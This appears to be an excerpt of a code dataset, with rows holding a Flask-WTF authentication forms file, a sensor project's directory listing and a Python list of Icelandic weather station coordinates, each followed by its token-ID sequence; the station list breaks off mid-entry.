max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
117
max_stars_count
int64
0
95.2k
id
stringlengths
1
7
content
stringlengths
12
593k
input_ids
sequencelengths
7
549k
app/auth/forms.py
karomag/microblog
0
37776
<filename>app/auth/forms.py # -*- coding:utf-8 -*- """Forms auth.""" from flask_babel import _ from flask_babel import lazy_gettext as _l from flask_wtf import FlaskForm from wtforms import ( BooleanField, PasswordField, StringField, SubmitField, ) from wtforms.validators import ( DataRequired, Email, EqualTo, ValidationError, ) from app.models import User class LoginForm(FlaskForm): """Login form. Args: FlaskForm (class): Flask-specific subclass of WTForms """ username = StringField(_l('Username'), validators=[DataRequired()]) password = PasswordField(_l('Password'), validators=[DataRequired()]) remember_me = BooleanField(_l('Remember me')) submit = SubmitField(_l('Sigh In')) class RegistrationForm(FlaskForm): """Registration form. Args: FlaskForm (class): Flask-specific subclass of WTForms """ username = StringField(_l('Username'), validators=[DataRequired()]) email = StringField(_l('Email'), validators=[DataRequired(), Email()]) password = PasswordField(_l('Password'), validators=[DataRequired()]) password2 = PasswordField( _l('<PASSWORD> Password'), validators=[DataRequired(), EqualTo('password')], ) submit = SubmitField(_l('Register')) # TODO: Method 'validate_username' may be 'static' def validate_username(self, username): """Checks the username field's data for uniqueness. Args: username: Username field data Raises: ValidationError, if the username is not unique """ user = User.query.filter_by(username=username.data).first() if user is not None: raise ValidationError(_('Please use a different username.')) # TODO: Fix function. def validate_email(self, email): """Checks the email field's data for uniqueness. Args: email: Email field data Raises: ValidationError, if an email is not unique """ user = User.query.filter_by(email=email.data).first() if user is not None: raise ValidationError(_('Please use a different email address.')) class ResetPasswordRequestForm(FlaskForm): email = StringField(_l('Email'), validators=[DataRequired(), Email()]) submit = SubmitField(_l('Request Password Reset')) class ResetPasswordForm(FlaskForm): password = PasswordField(_l('Password'), validators=[DataRequired()]) password2 = PasswordField( _l('Repeat Password'), validators=[DataRequired(), EqualTo('password')], ) submit = SubmitField(_l('Request Password Reset'))
[ 1, 529, 9507, 29958, 932, 29914, 5150, 29914, 9514, 29889, 2272, 13, 29937, 448, 29930, 29899, 14137, 29901, 9420, 29899, 29947, 448, 29930, 29899, 13, 13, 15945, 29908, 12605, 4817, 1213, 15945, 13, 13, 3166, 29784, 29918, 28727, 1053, 903, 13, 3166, 29784, 29918, 28727, 1053, 17366, 29918, 657, 726, 408, 903, 29880, 13, 3166, 29784, 29918, 29893, 13264, 1053, 2379, 1278, 2500, 13, 3166, 281, 29873, 9514, 1053, 313, 13, 1678, 11185, 3073, 29892, 13, 1678, 25280, 3073, 29892, 13, 1678, 1714, 3073, 29892, 13, 1678, 3323, 2415, 3073, 29892, 13, 29897, 13, 3166, 281, 29873, 9514, 29889, 3084, 4097, 1053, 313, 13, 1678, 3630, 19347, 29892, 13, 1678, 22608, 29892, 13, 1678, 11243, 284, 1762, 29892, 13, 1678, 15758, 362, 2392, 29892, 13, 29897, 13, 13, 3166, 623, 29889, 9794, 1053, 4911, 13, 13, 13, 1990, 19130, 2500, 29898, 8754, 1278, 2500, 1125, 13, 1678, 9995, 11049, 883, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 2379, 1278, 2500, 313, 1990, 1125, 2379, 1278, 29899, 14940, 19481, 310, 399, 29911, 12605, 13, 1678, 9995, 13, 13, 1678, 8952, 353, 1714, 3073, 7373, 29880, 877, 20249, 5477, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 4800, 353, 25280, 3073, 7373, 29880, 877, 10048, 5477, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 6456, 29918, 1004, 353, 11185, 3073, 7373, 29880, 877, 7301, 1096, 592, 8785, 13, 1678, 9752, 353, 3323, 2415, 3073, 7373, 29880, 877, 29903, 1141, 512, 8785, 13, 13, 13, 1990, 2169, 8306, 2500, 29898, 8754, 1278, 2500, 1125, 13, 1678, 9995, 4597, 8306, 883, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 2379, 1278, 2500, 313, 1990, 1125, 2379, 1278, 29899, 14940, 19481, 310, 399, 29911, 12605, 13, 1678, 9995, 13, 13, 1678, 8952, 353, 1714, 3073, 7373, 29880, 877, 20249, 5477, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 4876, 353, 1714, 3073, 7373, 29880, 877, 9823, 5477, 2854, 4097, 11759, 1469, 19347, 3285, 22608, 580, 2314, 13, 1678, 4800, 353, 25280, 3073, 7373, 29880, 877, 10048, 5477, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 4800, 29906, 353, 25280, 3073, 29898, 13, 4706, 903, 29880, 877, 29966, 25711, 17013, 29958, 25280, 5477, 2854, 4097, 11759, 1469, 19347, 3285, 11243, 284, 1762, 877, 5630, 1495, 1402, 13, 1678, 1723, 13, 1678, 9752, 353, 3323, 2415, 3073, 7373, 29880, 877, 15213, 8785, 13, 13, 1678, 396, 14402, 29901, 8108, 525, 15480, 29918, 6786, 29915, 1122, 367, 525, 7959, 29915, 13, 1678, 822, 12725, 29918, 6786, 29898, 1311, 29892, 8952, 1125, 13, 4706, 9995, 5596, 29879, 278, 8952, 1746, 29915, 29879, 848, 363, 20498, 18543, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8952, 29901, 4911, 978, 1746, 848, 13, 13, 4706, 390, 1759, 267, 29901, 13, 9651, 15758, 362, 2392, 29892, 565, 278, 8952, 338, 451, 5412, 13, 4706, 9995, 13, 4706, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29918, 1609, 29898, 6786, 29922, 6786, 29889, 1272, 467, 4102, 580, 13, 4706, 565, 1404, 338, 451, 6213, 29901, 13, 9651, 12020, 15758, 362, 2392, 7373, 877, 12148, 671, 263, 1422, 8952, 6169, 876, 13, 13, 1678, 396, 14402, 29901, 24778, 740, 29889, 13, 1678, 822, 12725, 29918, 5269, 29898, 1311, 29892, 4876, 1125, 13, 4706, 9995, 5596, 29879, 278, 4876, 1746, 29915, 29879, 848, 363, 20498, 18543, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 4876, 29901, 22608, 1746, 848, 13, 13, 4706, 390, 1759, 267, 29901, 13, 9651, 15758, 362, 2392, 29892, 565, 385, 4876, 338, 451, 5412, 13, 4706, 9995, 13, 4706, 1404, 353, 4911, 29889, 1972, 29889, 4572, 29918, 1609, 29898, 5269, 29922, 5269, 29889, 1272, 467, 4102, 580, 13, 4706, 565, 1404, 338, 451, 6213, 29901, 13, 9651, 12020, 15758, 362, 2392, 7373, 877, 12148, 671, 263, 1422, 4876, 3211, 6169, 876, 13, 13, 13, 1990, 2538, 300, 10048, 3089, 2500, 29898, 8754, 1278, 2500, 1125, 13, 1678, 4876, 353, 1714, 3073, 7373, 29880, 877, 9823, 5477, 2854, 4097, 11759, 1469, 19347, 3285, 22608, 580, 2314, 13, 1678, 9752, 353, 3323, 2415, 3073, 7373, 29880, 877, 3089, 25280, 2538, 300, 8785, 13, 13, 13, 1990, 2538, 300, 10048, 2500, 29898, 8754, 1278, 2500, 1125, 13, 1678, 4800, 353, 25280, 3073, 7373, 29880, 877, 10048, 5477, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 4800, 29906, 353, 25280, 3073, 29898, 13, 4706, 903, 29880, 877, 1123, 11666, 25280, 5477, 13, 4706, 2854, 4097, 11759, 1469, 19347, 3285, 11243, 284, 1762, 877, 5630, 1495, 1402, 13, 1678, 1723, 13, 1678, 9752, 353, 3323, 2415, 3073, 7373, 29880, 877, 3089, 25280, 2538, 300, 8785, 13, 2 ]
Software/__init__.py
justins0923/zephyrus-iaq
1
49424
Software/ Config/ GUI/ IAQ_GUI.py HAT/ IAQ_DAC43608.py IAQ_Mux.py Sensors/ IAQ_Sensor.py IAQ_MqGas.py third_party/ bme680-python IAQ_AnalogPortController.py IAQ_Exceptions.py IAQ_FileHandler.py IAQ_Logger.py
[ 1, 18540, 29914, 13, 1678, 12782, 29914, 13, 1678, 14839, 29914, 13, 4706, 306, 29909, 29984, 29918, 29954, 3120, 29889, 2272, 13, 1678, 379, 1299, 29914, 13, 4706, 306, 29909, 29984, 29918, 29928, 2477, 29946, 29941, 29953, 29900, 29947, 29889, 2272, 13, 4706, 306, 29909, 29984, 29918, 29924, 1314, 29889, 2272, 13, 1678, 317, 575, 943, 29914, 13, 4706, 306, 29909, 29984, 29918, 29903, 6073, 29889, 2272, 13, 4706, 306, 29909, 29984, 29918, 29924, 29939, 29954, 294, 29889, 2272, 13, 1678, 4654, 29918, 22633, 29914, 13, 4706, 289, 1004, 29953, 29947, 29900, 29899, 4691, 13, 1678, 306, 29909, 29984, 29918, 21067, 468, 2290, 2956, 29889, 2272, 13, 1678, 306, 29909, 29984, 29918, 2451, 29879, 29889, 2272, 13, 1678, 306, 29909, 29984, 29918, 2283, 4598, 29889, 2272, 13, 1678, 306, 29909, 29984, 29918, 16363, 29889, 2272, 13, 2 ]
iceweather/stations.py
mideind/iceweather
0
172290
<gh_stars>0 """ iceweather: Look up information about Icelandic weather (observations, forecasts, human readable descriptive texts, etc.) using vedur.is xmlweather API. Copyright (c) 2019-2021 <NAME>. Original author: <NAME> BSD 3-clause License (see License.txt). """ from typing import List, Dict STATIONS: List[Dict] = [ {"id": 1, "lat": 64.1275, "lon": -21.9028, "name": "Reykjavík"}, {"id": 178, "lat": 65.074, "lon": -22.7339, "name": "Stykkishólmur"}, {"id": 195, "lat": 65.2297, "lon": -21.7543, "name": "Ásgarður"}, {"id": 234, "lat": 65.8679, "lon": -23.5641, "name": "<NAME>"}, {"id": 293, "lat": 66.0213, "lon": -21.425, "name": "Litla-Ávík"}, {"id": 400, "lat": 66.1852, "lon": -18.9534, "name": "Sauðanesviti"}, {"id": 422, "lat": 65.6856, "lon": -18.1002, "name": "Akureyri"}, {"id": 495, "lat": 65.6423, "lon": -16.1208, "name": "Grímsstaðir"}, {"id": 515, "lat": 66.0659, "lon": -15.0792, "name": "Miðfjarðarnes"}, {"id": 527, "lat": 65.7027, "lon": -14.8211, "name": "Skjaldþingsstaðir"}, {"id": 571, "lat": 65.283, "lon": -14.4025, "name": "Egilsstaðaflugvöllur"}, {"id": 620, "lat": 65.2682, "lon": -13.5759, "name": "Dalatangi"}, {"id": 802, "lat": 63.4236, "lon": -19.183, "name": "Vatnsskarðshólar"}, {"id": 931, "lat": 64.2504, "lon": -20.3309, "name": "Hjarðarland"}, {"id": 990, "lat": 63.9747, "lon": -22.5876, "name": "Keflavíkurflugvöllur"}, {"id": 1350, "lat": 63.9829, "lon": -22.6005, "name": "Keflavíkurflugvöllur"}, {"id": 1361, "lat": 63.8438, "lon": -22.417, "name": "Grindavík"}, {"id": 1395, "lat": 63.8692, "lon": -21.1602, "name": "Eyrarbakki"}, {"id": 1453, "lat": 64.0817, "lon": -22.6893, "name": "Garðskagaviti"}, {"id": 1471, "lat": 64.1545, "lon": -22.0325, "name": "<NAME>"}, {"id": 1473, "lat": 64.0438, "lon": -22.0404, "name": "Straumsvík"}, {"id": 1474, "lat": 64.0712, "lon": -21.9107, "name": "<NAME>"}, # {"id": 1475, "lat": 64.1275, "lon": -21.902, "name": "Reykjavík"}, # {"id": 1477, "lat": 64.1284, "lon": -21.9407, "name": "Reykjavíkurflugvöllur"}, # {"id": 1478, "lat": 64.1292, "lon": -21.8392, "name": "<NAME>"}, {"id": 1479, "lat": 64.1505, "lon": -21.7511, "name": "Korpa"}, {"id": 1480, "lat": 64.1678, "lon": -21.8038, "name": "Geldinganes"}, {"id": 1481, "lat": 64.1085, "lon": -21.6864, "name": "Hólmsheiði"}, {"id": 1482, "lat": 64.1035, "lon": -21.7971, "name": "<NAME>"}, {"id": 1486, "lat": 63.969, "lon": -21.6661, "name": "Bláfjöll"}, {"id": 1487, "lat": 63.9831, "lon": -21.6497, "name": "Bláfjallaskáli"}, {"id": 1490, "lat": 64.0333, "lon": -21.3665, "name": "Hellisskarð"}, {"id": 1493, "lat": 64.0553, "lon": -21.2532, "name": "Ölkelduháls"}, {"id": 1496, "lat": 64.0567, "lon": -21.3469, "name": "Skarðsmýrarfjall"}, {"id": 1578, "lat": 64.2318, "lon": -21.8046, "name": "Skrauthólar"}, {"id": 1590, "lat": 64.2405, "lon": -21.4633, "name": "Skálafell"}, {"id": 1596, "lat": 64.2807, "lon": -21.0875, "name": "Þingvellir"}, {"id": 1673, "lat": 64.4647, "lon": -21.9628, "name": "Hafnarmelar"}, {"id": 1679, "lat": 64.4902, "lon": -21.7621, "name": "<NAME>"}, {"id": 1685, "lat": 64.3877, "lon": -21.4169, "name": "Þyrill"}, {"id": 1689, "lat": 64.4529, "lon": -21.4034, "name": "Botnsheiði"}, {"id": 1779, "lat": 64.5622, "lon": -21.7649, "name": "Hvanneyri"}, {"id": 1781, "lat": 64.643, "lon": -21.5893, "name": "Stafholtsey"}, {"id": 1868, "lat": 64.6943, "lon": -22.1473, "name": "<NAME>"}, {"id": 1881, "lat": 64.7268, "lon": -21.6297, "name": "Litla-Skarð"}, {"id": 1919, "lat": 64.9041, "lon": -23.9346, "name": "Gufuskálar"}, {"id": 1924, "lat": 64.8957, "lon": -23.7162, "name": "Ólafsvík"}, {"id": 1936, "lat": 64.8393, "lon": -23.3012, "name": "Bláfeldur"}, {"id": 1938, "lat": 64.9213, "lon": -23.2513, "name": "Grundarfjörður"}, {"id": 2050, "lat": 65.0717, "lon": -22.7324, "name": "Stykkishólmur"}, {"id": 2175, "lat": 65.2297, "lon": -21.7543, "name": "Ásgarður"}, {"id": 2197, "lat": 65.2543, "lon": -21.0978, "name": "<NAME>"}, {"id": 2266, "lat": 65.4377, "lon": -22.2056, "name": "Reykhólar"}, {"id": 2304, "lat": 65.5029, "lon": -24.5312, "name": "Bjargtangar"}, {"id": 2315, "lat": 65.4924, "lon": -24.0925, "name": "Lambavatn"}, {"id": 2319, "lat": 65.5951, "lon": -23.9748, "name": "Patreksfjörður"}, {"id": 2323, "lat": 65.6276, "lon": -23.8302, "name": "Tálknafjörður"}, {"id": 2370, "lat": 65.5528, "lon": -21.8257, "name": "Arnkatla"}, {"id": 2428, "lat": 65.6794, "lon": -23.6122, "name": "Bíldudalur"}, {"id": 2480, "lat": 65.7284, "lon": -21.5718, "name": "Bjarnarfjarðarháls"}, {"id": 2481, "lat": 65.6873, "lon": -21.6813, "name": "Hólmavík"}, {"id": 2530, "lat": 65.8686, "lon": -23.5578, "name": "<NAME>"}, {"id": 2631, "lat": 66.05, "lon": -23.51, "name": "Flateyri"}, {"id": 2636, "lat": 66.0444, "lon": -23.3074, "name": "Þverfjall"}, {"id": 2640, "lat": 66.076, "lon": -23.1987, "name": "Seljalandsdalur"}, {"id": 2641, "lat": 66.068, "lon": -23.210, "name": "<NAME>"}, {"id": 2642, "lat": 66.0596, "lon": -23.1699, "name": "Ísafjörður"}, {"id": 2643, "lat": 66.1066, "lon": -23.1091, "name": "Hnífsdalur"}, {"id": 2646, "lat": 66.0426, "lon": -22.986, "name": "Súðavík"}, {"id": 2655, "lat": 66.1006, "lon": -22.6594, "name": "Æðey"}, {"id": 2692, "lat": 65.9951, "lon": -21.3304, "name": "Gjögurflugvöllur"}, {"id": 2738, "lat": 66.161, "lon": -23.2538, "name": "Bolungarvík"}, {"id": 2862, "lat": 66.4107, "lon": -22.3789, "name": "Hornbjargsviti"}, {"id": 2941, "lat": 66.433, "lon": -23.133, "name": "Straumnesviti"}, {"id": 3007, "lat": 65.123, "lon": -20.6961, "name": "Austurárdalsháls"}, {"id": 3054, "lat": 65.0628, "lon": -18.8383, "name": "Sáta"}, {"id": 3103, "lat": 65.1839, "lon": -20.785, "name": "Haugur"}, {"id": 3223, "lat": 65.3784, "lon": -20.2473, "name": "Brúsastaðir"}, {"id": 3225, "lat": 65.2307, "lon": -19.7177, "name": "Kolka"}, {"id": 3242, "lat": 65.4583, "lon": -19.3691, "name": "Nautabú"}, {"id": 3292, "lat": 65.3419, "lon": -17.2465, "name": "Svartárkot"}, {"id": 3317, "lat": 65.658, "lon": -20.2925, "name": "Blönduós"}, {"id": 3371, "lat": 65.501, "lon": -18.1616, "name": "Torfur"}, {"id": 3380, "lat": 65.5851, "lon": -17.7667, "name": "<NAME>"}, {"id": 3433, "lat": 65.7259, "lon": -19.5737, "name": "<NAME>"}, {"id": 3463, "lat": 65.7707, "lon": -18.2513, "name": "Möðruvellir"}, {"id": 3471, "lat": 65.6961, "lon": -18.1113, "name": "<NAME>"}, {"id": 3474, "lat": 65.7485, "lon": -18.0011, "name": "Vaðlaheiði"}, {"id": 3477, "lat": 65.817, "lon": -17.8857, "name": "<NAME>"}, {"id": 3490, "lat": 65.7873, "lon": -17.0035, "name": "Gæsafjöll"}, {"id": 3591, "lat": 65.821, "lon": -17.3446, "name": "Staðarhóll"}, {"id": 3596, "lat": 65.856, "lon": -17.2015, "name": "Rauðhálsar"}, {"id": 3658, "lat": 66.0739, "lon": -18.6656, "name": "Ólafsfjörður"}, {"id": 3696, "lat": 66.0418, "lon": -17.3281, "name": "Húsavík"}, {"id": 3720, "lat": 66.1192, "lon": -20.0989, "name": "Skagatá"}, {"id": 3751, "lat": 66.1845, "lon": -18.9534, "name": "Sauðanesviti"}, {"id": 3752, "lat": 66.1349, "lon": -18.919, "name": "Siglufjörður"}, {"id": 3754, "lat": 66.1938, "lon": -18.8431, "name": "Siglunes"}, {"id": 3779, "lat": 66.1631, "lon": -17.8408, "name": "<NAME>"}, {"id": 3797, "lat": 66.1994, "lon": -17.1028, "name": "Mánárbakki"}, {"id": 3976, "lat": 66.5438, "lon": -18.0167, "name": "Grímsey"}, {"id": 4019, "lat": 65.0607, "lon": -16.2104, "name": "Upptyppingar"}, {"id": 4060, "lat": 65.0942, "lon": -14.7447, "name": "Hallormsstaður"}, {"id": 4182, "lat": 65.2549, "lon": -14.0064, "name": "Seyðisfjörður"}, {"id": 4193, "lat": 65.2682, "lon": -13.575, "name": "Dalatangi"}, {"id": 4275, "lat": 65.2235, "lon": -14.2589, "name": "Gagnheiði"}, {"id": 4300, "lat": 65.6193, "lon": -16.9768, "name": "Mývatn"}, {"id": 4323, "lat": 65.6422, "lon": -16.1284, "name": "<NAME>"}, {"id": 4380, "lat": 65.5235, "lon": -13.8167, "name": "Bakkagerði"}, {"id": 4406, "lat": 65.6945, "lon": -16.7748, "name": "Krafla"}, {"id": 4455, "lat": 65.7036, "lon": -14.8208, "name": "Skjaldþingsstaðir"}, {"id": 4472, "lat": 65.7857, "lon": -14.3082, "name": "Bjarnarey"}, {"id": 4500, "lat": 65.911, "lon": -16.9762, "name": "Þeistareykir"}, {"id": 4614, "lat": 66.03, "lon": -16.4833, "name": "Ásbyrgi"}, {"id": 4652, "lat": 66.0668, "lon": -15.0799, "name": "Miðfjarðarnes"}, {"id": 4828, "lat": 66.456, "lon": -15.9527, "name": "Raufarhöfn"}, {"id": 4830, "lat": 65.3754, "lon": -15.8833, "name": "Möðrudalur"}, {"id": 4867, "lat": 66.3783, "lon": -14.5326, "name": "Fontur"}, {"id": 4912, "lat": 66.5082, "lon": -16.5444, "name": "Rauðinúpur"}, {"id": 4921, "lat": 66.5115, "lon": -16.1441, "name": "<NAME>"}, {"id": 5210, "lat": 63.8028, "lon": -16.6509, "name": "Ingólfshöfði"}, {"id": 5309, "lat": 63.8743, "lon": -16.6364, "name": "Fagurhólsmýri"}, {"id": 5316, "lat": 63.9777, "lon": -16.4366, "name": "Kvísker"}, {"id": 5544, "lat": 64.2691, "lon": -15.2135, "name": "<NAME>"}, {"id": 5777, "lat": 64.5911, "lon": -14.1747, "name": "Papey"}, {"id": 5825, "lat": 64.8281, "lon": -16.0897, "name": "Brúaröræfi"}, {"id": 5847, "lat": 64.8161, "lon": -15.3228, "name": "<NAME>"}, {"id": 5872, "lat": 64.6757, "lon": -14.3444, "name": "Teigarhorn"}, {"id": 5885, "lat": 64.8012, "lon": -13.8423, "name": "Kambanes"}, {"id": 5932, "lat": 64.728, "lon": -16.1117, "name": "<NAME>"}, {"id": 5933, "lat": 64.9284, "lon": -15.7771, "name": "Kárahnjúkar"}, {"id": 5940, "lat": 65.1086, "lon": -15.5297, "name": "<NAME>"}, {"id": 5943, "lat": 64.8151, "lon": -15.4235, "name": "Eyjabakkar"}, {"id": 5960, "lat": 65.0795, "lon": -14.6748, "name": "Hallormsstaðaháls"}, {"id": 5965, "lat": 65.0364, "lon": -14.5711, "name": "Þórudalur"}, {"id": 5969, "lat": 65.0009, "lon": -14.4625, "name": "Þórdalsheiði"}, {"id": 5970, "lat": 65.0182, "lon": -14.4535, "name": "Hallsteinsdalsvarp"}, {"id": 5975, "lat": 65.0368, "lon": -14.2397, "name": "<NAME>"}, {"id": 5981, "lat": 65.0763, "lon": -14.037, "name": "Eskifjörður"}, {"id": 5982, "lat": 64.9372, "lon": -14.0407, "name": "<NAME>"}, {"id": 5988, "lat": 64.937, "lon": -13.6846, "name": "Vattarnes"}, {"id": 5990, "lat": 65.1503, "lon": -13.6694, "name": "Neskaupstaður"}, {"id": 5992, "lat": 65.1618, "lon": -13.688, "name": "<NAME>"}, {"id": 5993, "lat": 64.9778, "lon": -13.5192, "name": "Seley"}, {"id": 6012, "lat": 63.2993, "lon": -20.5995, "name": "Surtsey"}, {"id": 6015, "lat": 63.4359, "lon": -20.2758, "name": "Vestmannaeyjabær"}, {"id": 6017, "lat": 63.3996, "lon": -20.2882, "name": "Stórhöfði"}, {"id": 6045, "lat": 63.4236, "lon": -19.183, "name": "Vatnsskarðshólar"}, {"id": 6134, "lat": 63.5242, "lon": -19.6357, "name": "Önundarhorn"}, {"id": 6176, "lat": 63.5179, "lon": -17.9785, "name": "Skarðsfjöruviti"}, {"id": 6208, "lat": 63.7477, "lon": -20.6182, "name": "Þykkvibær"}, {"id": 6222, "lat": 63.7354, "lon": -20.1091, "name": "Sámsstaðir"}, {"id": 6235, "lat": 63.7757, "lon": -19.6773, "name": "Tindfjöll"}, {"id": 6237, "lat": 63.6791, "lon": -19.4814, "name": "<NAME>"}, { "id": 6272, "lat": 63.79, "lon": -18.011, "name": "<NAME>", }, {"id": 6300, "lat": 63.9355, "lon": -20.9707, "name": "Selfoss"}, {"id": 6310, "lat": 63.9628, "lon": -20.5669, "name": "Kálfhóll"}, {"id": 6315, "lat": 63.8257, "lon": -20.3654, "name": "Hella"}, {"id": 6420, "lat": 64.0405, "lon": -20.2521, "name": "Árnes"}, {"id": 6424, "lat": 64.0293, "lon": -20.0189, "name": "<NAME>"}, {"id": 6430, "lat": 64.1168, "lon": -19.7449, "name": "Búrfell"}, {"id": 6459, "lat": 64.098, "lon": -18.614, "name": "Lónakvísl"}, {"id": 6472, "lat": 64.0255, "lon": -18.1196, "name": "Laufbali"}, {"id": 6499, "lat": 64.0157, "lon": -16.9667, "name": "Skaftafell"}, {"id": 6515, "lat": 64.2506, "lon": -20.3307, "name": "Hjarðarland"}, {"id": 6546, "lat": 64.1956, "lon": -19.0467, "name": "Vatnsfell"}, {"id": 6657, "lat": 64.3951, "lon": -18.5048, "name": "Veiðivatnahraun"}, {"id": 6670, "lat": 64.317, "lon": -18.217, "name": "Jökulheimar"}, {"id": 6745, "lat": 64.68, "lon": -19.282, "name": "Kerlingarfjöll - Ásgarðsfjall"}, {"id": 6748, "lat": 64.6043, "lon": -19.0186, "name": "Setur"}, {"id": 6760, "lat": 64.5819, "lon": -18.5987, "name": "Þúfuver"}, {"id": 6776, "lat": 64.5712, "lon": -18.1111, "name": "Hágöngur"}, {"id": 6802, "lat": 64.699, "lon": -20.869, "name": "Húsafell"}, {"id": 6935, "lat": 64.8668, "lon": -19.5622, "name": "Hveravellir"}, {"id": 6975, "lat": 64.933, "lon": -17.983, "name": "Sandbúðir"}, {"id": 7659, "lat": 66.063, "lon": -18.6309, "name": "Ólafsfjörður - Tindaöxl"}, {"id": 7736, "lat": 66.1684, "lon": -23.2681, "name": "Bolungarvík - Traðargil"}, {"id": 7753, "lat": 66.1535, "lon": -18.9352, "name": "Siglufjörður - Hafnarfjall"}, {"id": 9001, "lat": 63.99, "lon": -19.06, "name": "Landmannalaugar"}, {"id": 9002, "lat": 64.2328, "lon": -21.7117, "name": "<NAME>"}, {"id": 9003, "lat": 63.662, "lon": -19.4515, "name": "Fimmvörðuháls"}, {"id": 9004, "lat": 63.9333, "lon": -19.1681, "name": "Hrafntinnusker"}, {"id": 9005, "lat": 64.015, "lon": -16.676, "name": "Hvannadalshjúkur"}, {"id": 9006, "lat": 65.042, "lon": -16.595, "name": "Dreki"}, {"id": 9007, "lat": 64.735, "lon": -18.073, "name": "Nýjidalur"}, {"id": 9008, "lat": 64.34, "lon": -21.216, "name": "Leggjarbrjótur"}, {"id": 9009, "lat": 64.805, "lon": -23.775, "name": "Snæfellsjökull"}, {"id": 9010, "lat": 66.369, "lon": -23.019, "name": "Aðalvík"}, {"id": 31109, "lat": 64.0888, "lon": -21.8366, "name": "Arnarnesvegur"}, {"id": 31122, "lat": 65.5807, "lon": -23.8552, "name": "Miklidalur"}, {"id": 31363, "lat": 64.0027, "lon": -22.2296, "name": "Reykjanesbraut"}, {"id": 31364, "lat": 63.8683, "lon": -22.4235, "name": "Grindavíkurvegur"}, {"id": 31365, "lat": 63.8595, "lon": -22.3436, "name": "Festarfjall"}, {"id": 31380, "lat": 63.8456, "lon": -21.6959, "name": "Selvogur"}, {"id": 31387, "lat": 63.9876, "lon": -21.4633, "name": "Þrengsli"}, {"id": 31392, "lat": 64.0188, "lon": -21.3424, "name": "Hellisheiði"}, {"id": 31399, "lat": 63.9574, "lon": -21.0633, "name": "Ingólfsfjall"}, {"id": 31475, "lat": 64.0797, "lon": -21.9029, "name": "<NAME>"}, {"id": 31488, "lat": 64.0621, "lon": -21.5593, "name": "Sandskeið"}, {"id": 31572, "lat": 64.3105, "lon": -21.966, "name": "Akrafjall"}, {"id": 31577, "lat": 64.2664, "lon": -21.8329, "name": "Blikdalsá"}, {"id": 31578, "lat": 64.287, "lon": -21.812, "name": "Tíðaskarð"}, {"id": 31579, "lat": 64.2106, "lon": -21.7667, "name": "Kjalarnes"}, {"id": 31591, "lat": 64.214, "lon": -21.3448, "name": "Mosfellsheiði"}, {"id": 31599, "lat": 64.2481, "lon": -21.023, "name": "Gjábakki"}, {"id": 31674, "lat": 64.4755, "lon": -21.9603, "name": "Hafnarfjall"}, {"id": 31840, "lat": 64.8221, "lon": -23.1894, "name": "Hraunsmúli"}, {"id": 31882, "lat": 64.6956, "lon": -21.6359, "name": "Kolás"}, {"id": 31931, "lat": 64.8479, "lon": -23.4807, "name": "Fróðárheiði"}, {"id": 31932, "lat": 64.9366, "lon": -23.5033, "name": "Búlandshöfði"}, {"id": 31942, "lat": 64.9665, "lon": -23.126, "name": "Kolgrafafjarðarbrú"}, {"id": 31948, "lat": 64.9095, "lon": -22.8649, "name": "Vatnaleið"}, {"id": 31950, "lat": 64.986, "lon": -22.8084, "name": "Stórholt"}, {"id": 31958, "lat": 64.831, "lon": -22.5328, "name": "Hafursfell"}, {"id": 31985, "lat": 64.8716, "lon": -21.5154, "name": "Brattabrekka"}, {"id": 32097, "lat": 64.9899, "lon": -21.0576, "name": "Holtavörðuheiði"}, {"id": 32179, "lat": 65.3058, "lon": -21.7396, "name": "<NAME>"}, {"id": 32190, "lat": 65.2066, "lon": -21.3277, "name": "Laxárdalsheiði"}, {"id": 32224, "lat": 65.5172, "lon": -23.7211, "name": "Kleifaheiði"}, {"id": 32322, "lat": 65.6444, "lon": -23.7106, "name": "Hálfdán"}, {"id": 32355, "lat": 65.655, "lon": -22.6088, "name": "Klettsháls"}, {"id": 32365, "lat": 65.564, "lon": -22.2461, "name": "Hjallaháls"}, {"id": 32372, "lat": 65.5277, "lon": -22.0234, "name": "Gillastaðamelar"}, {"id": 32377, "lat": 65.5524, "lon": -21.833, "name": "Þröskuldar"}, {"id": 32390, "lat": 65.5724, "lon": -21.329, "name": "Ennisháls"}, {"id": 32474, "lat": 65.7503, "lon": -22.1291, "name": "Steingrímsfjarðarheiði"}, {"id": 32533, "lat": 65.94, "lon": -23.4364, "name": "Gemlufallsheiði"}, {"id": 32635, "lat": 66.0808, "lon": -23.3733, "name": "<NAME>"}, {"id": 32654, "lat": 66.0449, "lon": -22.6817, "name": "Ögur"}, {"id": 33204, "lat": 65.3444, "lon": -20.804, "name": "Gauksmýri"}, {"id": 33357, "lat": 65.4676, "lon": -18.6987, "name": "Öxnadalsheiði"}, {"id": 33394, "lat": 65.6143, "lon": -17.2169, "name": "Mývatnsheiði"}, {"id": 33419, "lat": 65.6668, "lon": -20.2383, "name": "<NAME>"}, {"id": 33424, "lat": 65.7801, "lon": -20.0186, "name": "Þverárfjall"}, {"id": 33431, "lat": 65.5085, "lon": -19.6945, "name": "Vatnsskarð"}, {"id": 33480, "lat": 65.7426, "lon": -17.592, "name": "Kaldakinn"}, {"id": 33487, "lat": 65.697, "lon": -17.5032, "name": "Fljótsheiði"}, {"id": 33495, "lat": 65.7374, "lon": -17.1057, "name": "Hólasandur"}, {"id": 33563, "lat": 65.9518, "lon": -18.4593, "name": "Hámundarstaðaháls"}, {"id": 33576, "lat": 65.813, "lon": -17.991, "name": "Víkurskarð"}, {"id": 33643, "lat": 66.0711, "lon": -19.2785, "name": "Stafá"}, {"id": 33652, "lat": 66.1317, "lon": -18.9023, "name": "Hólshyrna"}, {"id": 33654, "lat": 66.1022, "lon": -18.813, "name": "Héðinsfjörður"}, { "id": 33661, "lat": 66.042, "lon": -18.520, "name": "<NAME>", }, {"id": 33750, "lat": 66.129, "lon": -19.0721, "name": "Siglufjarðarvegur"}, { "id": 33751, "lat": 66.178, "lon": -18.975, "name": "<NAME>", }, {"id": 34073, "lat": 65.1264, "lon": -14.3327, "name": 